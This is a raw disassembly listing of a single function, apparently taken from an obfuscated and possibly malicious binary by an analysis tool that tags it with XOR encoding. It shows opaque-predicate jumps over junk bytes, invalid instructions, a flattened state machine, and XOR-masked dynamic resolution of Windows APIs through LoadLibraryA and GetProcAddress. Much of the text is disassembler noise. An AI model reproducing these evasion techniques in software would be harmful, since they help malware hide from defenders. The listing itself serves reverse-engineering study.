Function at 0x407f17
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 6
mov dword [ebp - 0x10], 0xa5a5
mov word [ebp - 0x30], 0xa
xor esi, esi
pop ebx
mov eax, esi
xor ecx, ecx
sub eax, ecx
je 0x4078f0
dec eax
je 0x4078e5
dec eax
je 0x4078da
dec eax
je 0x4078d3
dec eax
je 0x4078cd
dec eax
jne 0x407903
inc word [ebp - 0x3c]
jne 0x4078cb
je 0x4078cb
and ebp, ebx
mov word ss:[ebp - 0x2c], cx
jmp 0x407903
mov word [ebp - 0x2c], cx
jmp 0x407903
or word [ebp - 0x32], 0xffff
jmp 0x407903
mov word [ebp - 0x42], cx
jb 0x4078e3
jae 0x4078e3
and ch, bl
push ds
jmp 0x407903
mov word [ebp - 0x2a], cx
jbe 0x4078ee
ja 0x4078ee
and al, 0xeb
adc ebp, dword [edx + 3]
jmp 0x407903
push 3
lea ecx, [ebp - 0x48]
pop edx
xor eax, eax
mov edi, ecx
stosd dword es:[edi], eax
add ecx, 8
dec edx
stosw word es:[edi], ax
jne 0x4078f6
inc esi
dec ebx
jne 0x4078ab
mov ebx, dword [ebp + 8]
xor esi, esi
cmp si, 3
jae case.0x407b92.0
movzx ecx, si
mov eax, ecx
imul eax, ecx
imul eax, ecx
imul eax, ecx
add eax, 7
sub eax, 7
je 0x40797f
dec eax
je 0x407936
sub eax, 0xf
je 0x40798b
jmp 0x407988
movzx ecx, word [ebp - 0x2a]
mov eax, ecx
push 5
cdq
pop edi
idiv edi
xor eax, eax
push 3
cmp edx, 2
setne al
mov dword [ebp - 0x24], eax
mov eax, ecx
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0x24]
dec edx
neg edx
sbb edx, edx
neg edx
or eax, edx
je 0x407978
mov ax, word [ebp - 0x2c]
mov word [ebp - 0x2e], 1
mov word [ebp - 0x32], ax
jbe 0x407976
ja 0x407976
add al, 0xeb
adc byte [esi - 0x7d], ah
rol byte gs:[eax], cl
jmp 0x407988
and word [ebp - 0x2e], 0
jmp 0x407988
inc word [ebp - 0x2a]
jb 0x407988
jae 0x407988
add al, byte [esi - 0x15]
xor dword [ebp + 3], 0x8b030174
jne 0x40797f
inc esi
jmp 0x40790c
jne 0x407990
je 0x407990
add ecx, dword [ebx - 0x36cc138b]
mov esi, dword [ebp - 0x14]
xor ecx, ecx
cmp cx, 8
jae 0x407ce8
movzx eax, cx
lea edx, [eax + 1]
imul edx, eax
lea eax, [edx + 1]
cmp eax, 0x15
jg 0x407a57
je 0x407a3c
dec eax
je 0x407a1f
dec eax
dec eax
je 0x407a09
sub eax, 4
je 0x4079ef
sub eax, 6
jne 0x407aa3
cmp dword [ebp - 0x18], 0
je 0x407aa3
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
and eax, 0xffff
add esi, eax
mov dword [ebp - 0x14], esi
jmp 0x407aa3
mov esi, dword [ebp - 0x20]
imul esi, dword [ebp - 0x28]
and esi, 0xffff
mov dword [ebp - 0x14], esi
jle 0x407a04
jg 0x407a04
or cl, ch
lcall 0xd845, 0xc7000000
pop edx
add dword [eax], eax
add bl, ch
add dword [eax], edx
jmp 0x407aa3
mov dword [ebp - 0x28], 0x15a
jmp 0x407a13
mov dword [ebp - 0x1c], 0x4e35
jmp 0x407aa3
mov eax, dword [ebp - 0x10]
shr eax, 0x10
mov dword [ebp - 0x18], eax
push ecx
xor ecx, ecx
jecxz 0x407a2e
or dword [ecx - 0x75], ebx
inc ebp
invalid
pop ecx
mov eax, dword [ebp - 0x10]
and eax, 0xffff
mov dword [ebp - 0x20], eax
jmp 0x407aa3
mov eax, dword [ebp - 0x1c]
mov edx, esi
imul eax, dword [ebp - 0x20]
and edx, 0xffff
shl edx, 0x10
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
jmp 0x407aa3
cmp eax, 0x1f
je 0x407a8f
cmp eax, 0x2b
je 0x407a7e
cmp eax, 0x39
jne 0x407aa3
movzx eax, word [ebp - 0x2e]
push 2
cdq
pop edi
idiv edi
sub edx, 0
je 0x407aa9
dec edx
je 0x407ba5
jmp 0x407aa3
and dword [ebp - 4], 0x7fff
jo 0x407a8a
jno 0x407a8a
adc dword [ebx + 0x14ebfc5d], ecx
mov ebx, dword [ebp - 4]
jmp 0x407aa3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
jp 0x407a9a
jnp 0x407a9a
push es
shr dword [ebp - 4], 0x10
jl 0x407aa3
jge 0x407aa3
pop es
inc ecx
jmp 0x407995
movzx ecx, bx
mov eax, ecx
push 0xb
cdq
pop esi
idiv esi
mov eax, ecx
push 7
pop ecx
push 2
pop edi
mov esi, edx
sub esi, 5
neg esi
cdq
sbb esi, esi
idiv ecx
inc esi
sub edx, edi
neg edx
sbb edx, edx
inc edx
or esi, edx
je 0x407ae7
mov ax, word [ebp - 0x2c]
mov word [ebp - 0x2e], 1
mov word [ebp - 0x32], ax
jmp 0x407990
movzx eax, word [ebp - 0x42]
mov esi, dword [ebp + 8]
cmp eax, 9
ja case.0x407d2c.30
jmp dword [eax*4 + 0x407e2f]
jo 0x407b03
jno 0x407b03
and dword [ecx + 0x42c3f83d], eax
add byte [edi - 0x53], al
push edx
in al, 0xf
test dword [edx - 0x7efffffe], edi
cmp eax, 0x42c3fc
inc ecx
int1
dec esi
jle 0x407b2d
cmp dword [0x42c3f8], 0xe452ad47
jne 0x407dcd
cmp dword [0x42c3fc], 0x7e4ef141
jne 0x407dcd
test dword [edx - 0x14fffffe], ebp
sbb dword [ecx + 3], edi
jns 0x407b2a
jmp case.0x407af7.9
jns 0x407b2a
js 0x407b2a
and eax, 0xc4083d83
inc edx
add byte [ecx], al
cmp dword [0x42c408], 1
les eax, [edx]
add dword [ebp + 0xb], esi
jne case.0x407af7.9
call 0x407f17
mov dword [0x42c408], edi
xor edi, edi
cmp di, 4
jae case.0x407af7.5
movzx ecx, di
lea eax, [ecx + 3]
imul eax, ecx
inc eax
dec eax
je 0x407b99
sub eax, 4
je 0x407b79
sub eax, 6
je 0x407b6c
sub eax, 8
je 0x407990
jmp case.default.0x407b92
mov word [ebp - 0x2e], 1
jbe 0x407b77
ja 0x407b77
xor al, 0xeb
sub dword [esi - 0x75], esp
inc ebp
mov esi, 0xd0453b66
jmp case.default.0x407b92
mov ax, word [ebp - 0x42]
cmp ax, word [ebp - 0x30]
jne case.default.0x407b92
movzx eax, word [ebp - 0x2a]
push 9
cdq
pop ecx
idiv ecx
cmp edx, 8
ja case.default.0x407b92
jmp dword [edx*4 + 0x407e57]
inc word [ebp - 0x42]
jb case.default.0x407b92
jae case.default.0x407b92
xor al, byte [edi - 0x15]
wait
inc edi
jmp 0x407b40
xor esi, esi
movzx ecx, si
mov eax, ecx
imul eax, ecx
imul eax, ecx
inc eax
dec eax
je 0x407ca8
dec eax
je 0x407c95
sub eax, 7
je case.default.0x407bf0
sub eax, 0x13
je 0x407c34
sub eax, 0x25
je 0x407c0e
sub eax, 0x3d
je 0x407bf7
sub eax, 0x5b
jne 0x407cc4
movzx eax, bx
push 9
cdq
pop ecx
idiv ecx
cmp edx, 8
ja case.default.0x407bf0
jmp dword [edx*4 + 0x407e7b]
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
lea eax, [eax + ebx*2]
add ebx, eax
jmp 0x407c05
mov word [ebp - 0x2c], bx
jmp 0x407cc4
movzx eax, word [ebp - 0xc]
movzx ecx, word [ebp - 8]
lea eax, [ecx + eax*4]
inc word [ebp + eax*2 - 0x48]
lea eax, [ebp + eax*2 - 0x48]
jne 0x407c27
je 0x407c27
adc esp, dword [esi - 0x75]
inc ebp
aam 0x66
mov dword [ebp - 0x32], eax
mov ax, word [ebp - 0x2c]
mov word [ebp - 0x32], ax
jmp 0x407cc4
movzx eax, word [ebp - 0xc]
xor edx, edx
shl eax, 2
lea ecx, [ebp + eax*2 - 0x48]
jns 0x407c46
js 0x407c46
adc eax, 0xf87db70f
movzx edi, word [ebp - 8]
add edi, eax
mov di, word [ebp + edi*2 - 0x48]
cmp di, word [ecx]
jbe 0x407c59
mov dword [ebp - 8], edx
inc edx
inc ecx
inc ecx
cmp dx, 3
jb 0x407c41
jmp 0x407cc4
movzx eax, word [ebp - 8]
xor edx, edx
lea ecx, [ebp + eax*2 - 0x48]
push ecx
xor ecx, ecx
jecxz 0x407c74
sbb dword [ecx + 0xf], ebx
mov bh, 0x7d
hlt
pop ecx
movzx edi, word [ebp - 0xc]
lea edi, [eax + edi*4]
mov di, word [ebp + edi*2 - 0x48]
cmp di, word [ecx]
jbe 0x407c89
mov dword [ebp - 0xc], edx
inc edx
add ecx, 8
cmp dx, 3
jb 0x407c6e
jmp 0x407cc4
movzx eax, bx
push 3
cdq
pop ecx
idiv ecx
mov dword [ebp - 8], edx
jbe 0x407ca6
ja 0x407ca6
adc al, 0xeb
sbb al, 0xf
mov bh, 0xc3
jmp 0x407cc4
movzx eax, bx
push 9
cdq
pop ecx
idiv ecx
push 3
pop ecx
mov ebx, edx
movzx eax, bx
cdq
idiv ecx
mov dword [ebp - 0xc], eax
jp 0x407cc4
jnp 0x407cc4
push ss
inc esi
cmp si, 7
jb 0x407ba7
jmp case.0x407bf0.1
jl 0x407cd9
jge 0x407cd9
pop ss
jmp case.0x407bf0.1
jle 0x407ce3
jg 0x407ce3
sbb byte [edx + 3], bh
jp 0x407ce8
jnp 0x407ce8
jb 0x407ced
jb 0x407ced
jae 0x407ced
adc ch, cl
sbb ah, bh
invalid
jmp case.0x407bf0.1
jle case.0x407d2c.8
jg case.0x407d2c.8
sub byte [esi - 0x18], dl
inc edi
aas
add byte [eax], al
push esi
call 0x40bc44
jmp 0x407d39
jmp case.0x407d2c.13
push esi
call 0x40c3f4
jmp 0x407d39
jp 0x407d0f
jnp 0x407d0f
jo case.0x407d2c.19
jo case.0x407d2c.19
jno case.0x407d2c.19
xor dword [esi - 0x18], edx
adc ecx, dword [esi]
add bl, ch
sbb eax, 0x8b0001eb
jmp 0x407d1f
invalid
mov eax, dword [esi + 4]
dec eax
push esi
call 0x40cb2d
jmp 0x407d39
jmp 0x407d1f
mov eax, dword [esi + 4]
dec eax
cmp eax, 0x1d
ja case.0x407d2c.4
jmp dword [eax*4 + 0x407e9f]
push esi
call fcn.00407fc3
pop ecx
jmp 0x407dfa
push esi
call fcn.0040b7b8
jmp 0x407d39
push esi
call fcn.0040b872
jmp 0x407d39
push esi
call fcn.0040c765
jmp 0x407d39
push esi
call fcn.0040c8c5
jmp 0x407d39
push esi
call fcn.0040ca21
jmp 0x407d39
push esi
call fcn.0040b71c
jmp 0x407d39
push esi
call fcn.0040ba97
jmp 0x407d39
push esi
call fcn.0040bd9a
jmp 0x407d39
push esi
call fcn.0040be91
jmp 0x407d39
push esi
call fcn.0040bf65
jmp 0x407d39
push esi
call fcn.0040c4d0
jmp 0x407d39
push esi
call fcn.0040cc47
jmp 0x407d39
push esi
call fcn.0040cd1d
jmp 0x407d39
push esi
call fcn.0040ce05
jmp 0x407d39
push esi
call fcn.0040ceb2
jmp 0x407d39
push esi
call fcn.0040c1a3
jmp 0x407d39
push esi
call fcn.0040c2dd
jmp 0x407d39
mov eax, 0xa8160019
jmp 0x407dfa
jl case.0x407d2c.30
jge case.0x407d2c.30
daa
push esi
call fcn.0040b9cf
jmp 0x407d39
jo 0x407de9
jno 0x407de9
add ebx, ebp
add eax, 0x1740375
jne case.0x407b92.0
je case.0x407b92.0
jmp case.0x407b92.0
jne case.0x407b92.0
je case.0x407b92.0
xor edi, dword [esi + 3]
jle case.0x407d2c.4
jg case.0x407d2c.4
cmp byte [eax - 0x57e9ffed], bh
mov eax, 0xa8160013
pop edi
pop esi
pop ebx
leave
ret
jl 0x407e04
jge 0x407e04
aaa
jmp case.0x407b92.0
push ecx
xor ecx, ecx
jecxz 0x407e0c
sub dword [ecx - 0x15], ebx
loope 0x407e89
invalid
pop ecx
jmp case.0x407b92.0
jns case.0x407d2c.10
add edi, dword [eax + 1]
js case.0x407d2c.10
xor eax, 0x424fe856
add byte [eax], al
push esi
call 0x40c069
jmp 0x407d39
jns case.0x407d2c.15
js case.0x407d2c.15
add eax, 0x47d6e856
add byte [eax], al
push esi
call 0x40c600
jmp 0x407d39
inc eax
add byte [edx], cl
jns 0x407ece
add dh, bl
jl 0x407ed2
add byte [edx], cl
jns 0x407ed6
add byte [edx], cl
jns 0x407eda
add byte [edx], cl
jns 0x407ede
add byte [ebx], dh
jge 0x407ee2
add byte [edi], bh
jge 0x407ee6
add byte [edi + 0x7d], al
inc eax
add ch, dh
jge 0x407eee
add byte [edi + 0x7d], ah
inc eax
add byte [edi + 0x7d], ch
inc eax
add byte [edi + 0x7d], dh
inc eax
add bh, dh
jl 0x407efe
add byte [edi + 0x7d], bh
inc eax
add byte [esi + edi*2], dl
inc eax
add byte [edi - 0x3dffbf83], dh
jge 0x407f0e
add byte [edx], al
jge 0x407f12
add byte [edi + 0x2400407d], cl
jle 0x407f1a
add byte [esi + edi*2], ah
inc eax
add byte [edi + 0x7d], cl
inc eax
add byte [edi + 0x7d], dl
inc eax
add byte [edi + 0x7d], bl
inc eax
add byte [edi*2 + 0x7d970040], dl
inc eax
add byte [edi - 0x58ffbf83], bl
jge 0x407f36
add byte [edi - 0x78ffbf83], ch
jge 0x407f3e
add ch, dh
jge 0x407f42
add ch, dh
jge 0x407f46
add ch, dh
jge 0x407f4a
add ch, dh
jge 0x407f4e
add ch, dh
jge 0x407f52
add cl, bl
jge 0x407f56
add byte [ebp - 0x75], dl
in al, dx
sub esp, 0x130
push esi
push edi
push 0x12c
lea eax, [ebp - 0x130]
push 0x42c49c
push eax
call fcn.00407fa0
add byte [eax], al
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, sym.imp.KERNEL32.dll_GetProcAddress
add byte [ebx + 0xabe0cc4], al
adc dword [0x33c633e7], edi
add esp, 0xc
mov esi, 0xe73d110a
xor eax, esi
xor edi, esi
push 0x4b
lea ecx, [ebp - 0x130]
pop edx
out 0x33, eax
invalid
invalid
invalid
call [edx + 0x31]
xor dword [ebx + 0x754a04c1], eax
clc
xor dword [ecx], esi
add ecx, 4
dec edx
jne 0x407f58
lea ecx, [ebp - 0x130]
xor eax, esi
push ecx
call eax
test eax, eax
mov dword [ebp - 4], eax
je 0x407f9c
xor edi, esi
push ebx
mov ebx, edi
mov esi, 0x42c464
lea edi, [ebp - 0x11c]
push edi
push dword [ebp - 4]
call ebx
mov dword [esi], eax
add esi, 4
add edi, 0x14
cmp esi, 0x42c49c
jl 0x407f82
push 1
pop eax
pop ebx
pop edi
pop esi
leave
ret